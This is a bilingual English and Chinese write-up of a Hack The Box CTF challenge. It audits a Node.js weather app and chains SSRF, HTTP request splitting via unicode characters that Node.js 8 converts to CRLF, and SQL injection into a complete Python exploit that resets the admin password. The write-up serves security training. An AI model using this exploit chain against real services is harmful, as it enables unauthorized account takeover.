SSRF Request Splitting attack/SSRF之Request Splitting攻击

本篇文章采用中文和英文两种语言编写,内容完全相同。如需查看中文版请下滑。

This article is written in Chinese and English, and the content is exactly the same. To view the Chinese version, please scroll down.

SSRF Request Splitting Attack

Weather APP

This is a CTF question on Hack The Box, the source code can be downloaded for audit.

When auditing a set of source code based on experience, first look at routing, which contains three main functions, namely registration, login and weather query.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
router.post('/register', (req, res) => {
if (req.socket.remoteAddress.replace(/^.*:/,'') != '127.0.0.1') {
return res.status(401).end();
}
let {username, password} = req.body;
if (username && password) {
return db.register(username, password)
.then(() => res.send(response('Successfully registered')))
.catch(() => res.send(response('Something went wrong')));
}
return res.send(response('Missing parameters'));
});

router.post('/login', (req, res) => {
let {username, password} = req.body;
if (username && password) {
return db.isAdmin(username, password)
.then(admin => {
if (admin) return res.send(fs.readFileSync('/app/flag').toString());
return res.send(response('You are not admin'));
})
.catch(() => res.send(response('Something went wrong')));
}
return re.send(response('Missing parameters'));
});

router.post('/api/weather', (req, res) => {
let {endpoint, city, country} = req.body;
if (endpoint && city && country) {
return WeatherHelper.getWeather(res, endpoint, city, country);
}
return res.send(response('Missing parameters'));
});

There is not much content, please follow up one by one. First see that the registration function must be from the local to be able to register. Adding X-Forwarded-For to the request header does not fool the server.

1
2
3
if (req.socket.remoteAddress.replace(/^.*:/,'') != '127.0.0.1') {
return res.status(401).end();
}

Then there is the login function. If you can log in as admin, the Flag will be displayed. The isAdmin function was called when verifying the admin identity, followed by the function to view the source code.

1
2
3
4
5
6
if (username && password) {
return db.isAdmin(username, password)
.then(admin => {
if (admin) return res.send(fs.readFileSync('/app/flag').toString());
return res.send(response('You are not admin'));
})

The function uses SQL statements to obtain whether the user name is admin to determine the user’s identity, and parameterized queries cannot be used for SQL injection. Then since the database is used, the user name and password must be written into the database when registering. Follow up to the database file to have a look.

1
2
3
4
5
6
7
8
9
10
11
async isAdmin(user, pass) {
return new Promise(async (resolve, reject) => {
try {
let smt = await this.db.prepare('SELECT username FROM users WHERE username =? and password = ?');
let row = await smt.get(user, pass);
resolve(row !== undefined? row.username =='admin': false);
} catch(e) {
reject(e);
}
});
}

The registration function in the database file does not use parameterized queries, so there is a SQL injection vulnerability. But the difficulty is that the registration function can only be initiated locally, so to exploit this vulnerability requires the cooperation of SSRF.

1
2
3
4
5
6
7
8
9
10
11
async register(user, pass) {
// TODO: add parameterization and roll public
return new Promise(async (resolve, reject) => {
try {
let query = `INSERT INTO users (username, password) VALUES ('${user}','${pass}')`;
resolve((await this.db.run(query)));
} catch(e) {
reject(e);
}
});
}

In the third function of routing, which is the weather query function, the getWeather function is called, in which an HTTP request is initiated, and the parameters are endpoint, etc. The source of these parameters is also controllable, so there is SSRF here Loopholes. But how to make another POST request to take advantage of the SQL injection vulnerability?

1
2
3
4
5
async getWeather(res, endpoint, city, country) {

// *.openweathermap.org is out of scope
let apiKey = '10a62430af617a949055a46fa6dec32f';
let weatherData = await HttpHelper.HttpGet(`http://${endpoint}/data/2.5/weather?q=${city},${country}&units=metric&appid=${apiKey}`);

Request Splitting

We all know that HTTP requests have a fixed format, and each line will be ended with \r\n to wrap.

Suppose there is a server that accepts the user’s get request and attaches parameters.

1
GET /acceptAPI?parameter=

The user submits the following parameters

1
x HTTP/1.1\r\n\r\nDELETE /acceptAPI HTTP/1.1\r\n

The request received by the server will change from one to two, and the first normal request will be inserted in the middle. The user inserted the DELETE /acceptAPI HTTP/1.1 in the third line into a normal GET request, causing the server to receive two requests. This is the original form of the Request Splitting attack.

1
2
3
4
5
6
7
GET /acceptAPI?parameter=x HTTP/1.1

DELETE /acceptAPI HTTP/1.1
Host:*.*.*.*
Content-Length:**
Pragma: *
......

In order to prevent the following situation, the HTTP library will add the percent sign to escape the control characters of the HTTP protocol like \r\n with a percent sign to escape %0D%0A, Javascript used in the above CTF question Will do the same thing. The malicious parameters submitted by the user will look like this

1
x HTTP/1.1%0D%0ADELETE /acceptAPI HTTP/1.1%0D%0A

There are policies and countermeasures. Node.js 8 will use the latin1 encoding for all HTTP requests, and the unicode character \u010D\u010A will become the HTTP request control character \r\n after encoding conversion. In this way, escaping can be bypassed and a Request Splitting attack can be performed.

Back to Weather APP

Following the book, using the coding vulnerability of Node.js 8, you can send a second POST request for SQL injection. Find the database file, which contains the structure of the data table. See that the attribute of the username field in the data table is UNIQUE, so the password of the admin user can only be changed to our known password instead of randomly generated unknown passwords by updating.

1
2
3
4
5
6
7
8
9
10
11
12
13
async migrate() {
return this.db.exec(`
DROP TABLE IF EXISTS users;

CREATE TABLE IF NOT EXISTS users (
id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
username VARCHAR(255) NOT NULL UNIQUE,
password VARCHAR(255) NOT NULL
);

INSERT INTO users (username, password) VALUES ('admin','${ crypto.randomBytes(32).toString('hex') }');
`);
}
1
') ON CONFLICT(username) DO UPDATE SET password ='admin';--

Next, we need to construct EXP and find the input point of the controllable parameter endpoint to construct. What we want to send, that is, the HTTP request for SQL injection attack is as follows

1
2
3
4
5
POST /register HTTP/1.1
Host: 138.68.155.238:30819
Content-Length: *

{"endpoint":"') ON CONFLICT(username) DO UPDATE SET password ='admin';-- ","city":"Dallas","country":"US"}

According to the bypass method mentioned above, write the final EXP. Note that the single quotation marks, double quotation marks, and spaces also need to be encoded.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

url ='http://138.68.155.238:30819'
username = "admin"
password = "1337') ON CONFLICT(username) DO UPDATE SET password ='admin';--"
# Encode spaces, single quotes, and double quotes
parsedUsername = username.replace(" ", "\u0120").replace("'", "%27").replace('"',"%22")
parsedPassword = password.replace(" ", "\u0120").replace("'", "%27").replace('"',"%22")
contentLength = len(parsedUsername) + len(parsedPassword) + 19

endpoint = '127.0.0.1/\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1\u010D\u010A\u010D\u010APOST\u0120/register\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1\ u010D\u010AContent-Type:\u0120application/x-www-form-urlencoded\u010D\u010AContent-Length:\u0120'+ str(contentLength) +'\u010D\u010A\u010D\u010Ausername=' + parsedUsername +'&password=' + parsedPassword+'\u010D\u010A\u010D\u010AGET\u0120/?lol='

r = requests.post(url +'/api/weather', json={'endpoint': endpoint,'city':'Dallas','country':'USA'})
print(r.text)

SSRF之Request Splitting攻击

Weather APP

这是一道Hack The Box上的CTF题,可以下载源代码进行审计。

根据经验审计一套源代码的时候首先看路由,其中包含三个主要功能,分别是注册、登陆和查询天气。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
router.post('/register', (req, res) => {
if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') {
return res.status(401).end();
}
let { username, password } = req.body;
if (username && password) {
return db.register(username, password)
.then(() => res.send(response('Successfully registered')))
.catch(() => res.send(response('Something went wrong')));
}
return res.send(response('Missing parameters'));
});

router.post('/login', (req, res) => {
let { username, password } = req.body;
if (username && password) {
return db.isAdmin(username, password)
.then(admin => {
if (admin) return res.send(fs.readFileSync('/app/flag').toString());
return res.send(response('You are not admin'));
})
.catch(() => res.send(response('Something went wrong')));
}
return re.send(response('Missing parameters'));
});

router.post('/api/weather', (req, res) => {
let { endpoint, city, country } = req.body;
if (endpoint && city && country) {
return WeatherHelper.getWeather(res, endpoint, city, country);
}
return res.send(response('Missing parameters'));
});

内容并不多,一个一个跟进去看看。首先看到注册功能必须是从本地才可以注册。在请求包头中添加X-Forwarded-For并不能骗过服务器。

1
2
3
if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') {
return res.status(401).end();
}

然后是登录功能,如果能够用admin的身份登陆,就会将Flag显示出来。验证admin身份的时候调用了isAdmin函数,跟进该函数进行查看源代码。

1
2
3
4
5
6
if (username && password) {
return db.isAdmin(username, password)
.then(admin => {
if (admin) return res.send(fs.readFileSync('/app/flag').toString());
return res.send(response('You are not admin'));
})

函数使用了SQL语句获取用户名是不是admin来判断用户身份,并且使用了参数化查询无法进行SQL注入。那么既然使用了数据库,注册的时候必然也将用户名密码写入了数据库,跟进到数据库文件来看看。

1
2
3
4
5
6
7
8
9
10
11
async isAdmin(user, pass) {
return new Promise(async (resolve, reject) => {
try {
let smt = await this.db.prepare('SELECT username FROM users WHERE username = ? and password = ?');
let row = await smt.get(user, pass);
resolve(row !== undefined ? row.username == 'admin' : false);
} catch(e) {
reject(e);
}
});
}

数据库文件中的注册函数并没有使用参数化查询,因此存在SQL注入漏洞。但是难点在于注册功能只能从本地发起,因此想利用此漏洞还需要SSRF的配合。

1
2
3
4
5
6
7
8
9
10
11
async register(user, pass) {
// TODO: add parameterization and roll public
return new Promise(async (resolve, reject) => {
try {
let query = `INSERT INTO users (username, password) VALUES ('${user}', '${pass}')`;
resolve((await this.db.run(query)));
} catch(e) {
reject(e);
}
});
}

在路由的第三个功能也就是查询天气功能中调用了getWeather函数,其中发起了HTTP请求,参数为endpoint等等,这几个参数的来源也是可控的,因此在这里存在SSRF漏洞。但困难的事如何发起另一个POST请求来利用SQL注入漏洞呢?

1
2
3
4
5
async getWeather(res, endpoint, city, country) {

// *.openweathermap.org is out of scope
let apiKey = '10a62430af617a949055a46fa6dec32f';
let weatherData = await HttpHelper.HttpGet(`http://${endpoint}/data/2.5/weather?q=${city},${country}&units=metric&appid=${apiKey}`);

Request Splitting

我们都知道HTTP请求都有着固定的格式,每一行后都会跟\r\n来换行。

假如有一个服务器接受用户的get请求并且附带参数.

1
GET /acceptAPI?parameter=

用户提交下面这样的参数

1
x HTTP/1.1\r\n\r\nDELETE /acceptAPI HTTP/1.1\r\n

服务器接收到的请求就会从一个变成两个,第一个正常请求被从中间插入。用户将第三行的DELETE /acceptAPI HTTP/1.1插入到了一个正常的GET请求中,导致服务器接收到了两个请求,这就是Request Splitting攻击最原始的样子。

1
2
3
4
5
6
7
GET /acceptAPI?parameter=x HTTP/1.1

DELETE /acceptAPI HTTP/1.1
Host:*.*.*.*
Content-Length:**
Pragma: *
......

为了防止出现如下这样的情况,HTTP库会将类似\r\n一类的针对HTTP协议的控制字符加上百分号转义%0D%0A,上面的CTF题中使用的Javascript也会做同样的事情。用户提交的恶意参数会变成下面这个样子

1
x HTTP/1.1%0D%0ADELETE /acceptAPI HTTP/1.1%0D%0A

上有政策下有对策,Node.js 8会吧HTTP请求整个使用latin1编码,unicode字符\u010D\u010A经过编码转换会变成HTTP请求控制字符\r\n。用这种方式就可以绕过转义,进行Request Splitting攻击。

回到Weather APP

书接上文,利用Node.js 8 的编码漏洞,可以发送第二个POST请求进行SQL注入。找到数据库文件,其中包含了数据表的结构。看到数据表中的username字段属性是UNIQUE,因此只能通过更新的方式来将admin用户的密码更改为我们的已知密码而不是随机生成的未知密码。

1
2
3
4
5
6
7
8
9
10
11
12
13
async migrate() {
return this.db.exec(`
DROP TABLE IF EXISTS users;

CREATE TABLE IF NOT EXISTS users (
id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
username VARCHAR(255) NOT NULL UNIQUE,
password VARCHAR(255) NOT NULL
);

INSERT INTO users (username, password) VALUES ('admin', '${ crypto.randomBytes(32).toString('hex') }');
`);
}
1
') ON CONFLICT(username) DO UPDATE SET password = 'admin';--

接下来需要构造EXP,找到可控参数endpoint的输入点进行构造。我们想要发送的,也就是实现SQL注入攻击的HTTP请求如下

1
2
3
4
5
POST /register HTTP/1.1
Host: 138.68.155.238:30819
Content-Length: *

{"endpoint":"') ON CONFLICT(username) DO UPDATE SET password = 'admin';-- ","city":"Dallas","country":"US"}

根据前面所说到的绕过方法,编写出最终的EXP,注意其中的单引号、双引号以及空格也需要进行编码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

url = 'http://138.68.155.238:30819'
username = "admin"
password = "1337') ON CONFLICT(username) DO UPDATE SET password = 'admin';--"
# 对空格、单引号、双引号进行编码
parsedUsername = username.replace(" ", "\u0120").replace("'", "%27").replace('"',"%22")
parsedPassword = password.replace(" ", "\u0120").replace("'", "%27").replace('"',"%22")
contentLength = len(parsedUsername) + len(parsedPassword) + 19

endpoint = '127.0.0.1/\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1\u010D\u010A\u010D\u010APOST\u0120/register\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1\u010D\u010AContent-Type:\u0120application/x-www-form-urlencoded\u010D\u010AContent-Length:\u0120'+ str(contentLength) +'\u010D\u010A\u010D\u010Ausername=' + parsedUsername + '&password=' + parsedPassword+ '\u010D\u010A\u010D\u010AGET\u0120/?lol='

r = requests.post(url + '/api/weather', json={ 'endpoint': endpoint, 'city': 'Dallas','country': 'USA'})
print(r.text)